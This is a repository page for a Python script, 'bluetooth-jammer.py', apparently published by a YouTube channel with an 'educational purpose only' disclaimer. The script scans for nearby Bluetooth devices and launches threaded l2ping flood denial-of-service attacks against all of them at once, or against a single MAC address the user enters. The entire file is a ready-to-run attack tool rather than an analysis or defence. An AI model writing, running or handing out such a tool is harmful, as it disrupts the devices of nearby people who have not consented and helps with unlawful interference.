-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbluetooth-jammer.py
More file actions
149 lines (134 loc) · 5.6 KB
/
Copy pathbluetooth-jammer.py
File metadata and controls
149 lines (134 loc) · 5.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import subprocess
import threading
import time
import os
import re
# Colour codes (terminal must support ANSI)
CYAN = "\033[96m"
BLUE = "\033[94m"
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
RESET = "\033[0m"
# Banner
BANNER = r"""
/$$$$$$$ /$$$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$$
| $$_ $$|_ $$_/ | $$_ $$| $$ | $$| $$__/| $$_/| $$_/| $$_ $$
| $$ \ $$ | $$ | $$ \ $$| $$ | $$| $$ | $$ | $$ | $$ \ $$
| $$$$$$$ | $$ /$$$$$$ | $$$$$$$ | $$ | $$| $$$$$ | $$$$$ | $$$$$ | $$$$$$$/
| $$_ $$ | $$|__/ | $$_ $$| $$ | $$| $$_/ | $$/ | $$/ | $$_ $$
| $$ \ $$ | $$ | $$ \ $$| $$ | $$| $$ | $$ | $$ | $$ \ $$
| $$$$$$$/ | $$ | $$$$$$$/| $$$$$$/| $$ | $$ | $$$$$$$$| $$ | $$
|__/ |/ |__/ \__/ |_/ |/ |__/|/ |_/
"""
# Centered 3-line credits
CREDITS = [
"Created by DarkByteHunter | YouTube: DarkByteHunter",
"Official channel for tutorials & demos",
"For Educational Purpose Only"
]
ATTACK_THREADS = []
def validate_mac(mac):
"""Validate Bluetooth MAC address format (XX:XX:XX:XX:XX:XX)."""
pattern = r'^([0-9A-Fa-f]{2}:){5}([0-9A-Fa-f]{2})$'
return bool(re.match(pattern, mac))
def ensure_hci0_up():
"""Ensure hci0 is up and running."""
try:
result = subprocess.check_output("hciconfig", shell=True, timeout=2).decode()
if "hci0" in result and "DOWN" in result:
print(f"{BLUE}[*] Bringing hci0 up...{RESET}")
subprocess.run("sudo hciconfig hci0 up", shell=True, timeout=2)
time.sleep(1) # Wait for adapter to stabilize
result = subprocess.check_output("hciconfig", shell=True, timeout=2).decode()
if "DOWN" in result:
print(f"{RED}[!] Failed to bring hci0 up. Check Bluetooth adapter.{RESET}")
return False
elif "hci0" not in result:
print(f"{RED}[!] No hci0 device found. Check Bluetooth adapter.{RESET}")
return False
return True
except Exception as e:
print(f"{RED}[!] Error ensuring hci0 up: {e}{RESET}")
return False
def scan_devices():
"""Scan for nearby Bluetooth devices using hcitool."""
if not ensure_hci0_up():
return []
print(f"{BLUE}[*] Scanning for Bluetooth devices...{RESET}")
try:
result = subprocess.check_output("hcitool scan", shell=True, timeout=30).decode()
devices = []
for line in result.splitlines()[1:]:
parts = line.strip().split("\t")
if len(parts) == 2:
addr, name = parts
if validate_mac(addr.strip()):
devices.append((addr.strip(), name.strip()))
return devices
except subprocess.TimeoutExpired:
print(f"{RED}[!] Scan timed out after 30 seconds.{RESET}")
return []
except Exception as e:
print(f"{RED}[!] Scan failed: {e}{RESET}")
return []
def attack_device(mac, name):
"""Perform l2ping flood attack on a Bluetooth device."""
if not ensure_hci0_up():
return
print(f"{GREEN}[+] Attacking {name} ({mac}) with l2ping flood...{RESET}")
try:
subprocess.run(f"l2ping -i hci0 -s 600 -f {mac}", shell=True, timeout=60, check=True)
except subprocess.TimeoutExpired:
print(f"{RED}[!] Attack on {mac} timed out after 60 seconds.{RESET}")
except KeyboardInterrupt:
print(f"{RED}[-] Attack on {mac} stopped by user.{RESET}")
except Exception as e:
print(f"{RED}[!] Error attacking {mac}: {e}{RESET}")
def start_attack(devices):
"""Start attack threads for all discovered devices."""
for addr, name in devices:
t = threading.Thread(target=attack_device, args=(addr, name))
t.daemon = True
t.start()
ATTACK_THREADS.append(t)
time.sleep(0.5) # Prevent system overload
def attack_single_device():
"""Attack a single device specified by user."""
target_mac = input(f"{YELLOW}[*] Enter the MAC address to attack (XX:XX:XX:XX:XX:XX): {RESET}").strip()
target_name = input(f"{YELLOW}[*] Enter the name of the target device: {RESET}").strip()
if validate_mac(target_mac) and target_name:
print(f"\n{GREEN}[*] Starting DoS attack on {target_name} ({target_mac})...{RESET}\n")
attack_device(target_mac, target_name)
else:
print(f"{RED}[!] Invalid MAC address or name. Exiting...{RESET}")
def main():
"""Main function to run the Bluetooth Auto Jammer."""
os.system("clear") # clear terminal
print(f"{CYAN}{BANNER}{RESET}\n")
# Terminal width for centering (adjust if needed)
TERMINAL_WIDTH = 80
for line in CREDITS:
print(line.center(TERMINAL_WIDTH))
devices = scan_devices()
if not devices:
print(f"{RED}[!] No Bluetooth devices found.{RESET}")
return
print(f"\n{YELLOW}Devices found:{RESET}")
for i, (addr, name) in enumerate(devices):
print(f"{YELLOW}{i+1}. {name} - {addr}{RESET}")
confirm = input(f"\n{YELLOW}Start DoS attack on ALL devices? (y/n): {RESET}").strip().lower()
if confirm == 'y':
try:
start_attack(devices)
print(f"\n{GREEN}[*] Attacking all devices. Press CTRL+C to stop.{RESET}\n")
time.sleep(3600) # Run for max 1 hour
except KeyboardInterrupt:
print(f"\n{RED}[!] Stopped by user.{RESET}")
elif confirm == 'n':
print(f"{BLUE}[*] Switching to single device attack.{RESET}")
attack_single_device()
else:
print(f"{RED}[!] Invalid input. Exiting...{RESET}")
if __name__ == "__main__":
main()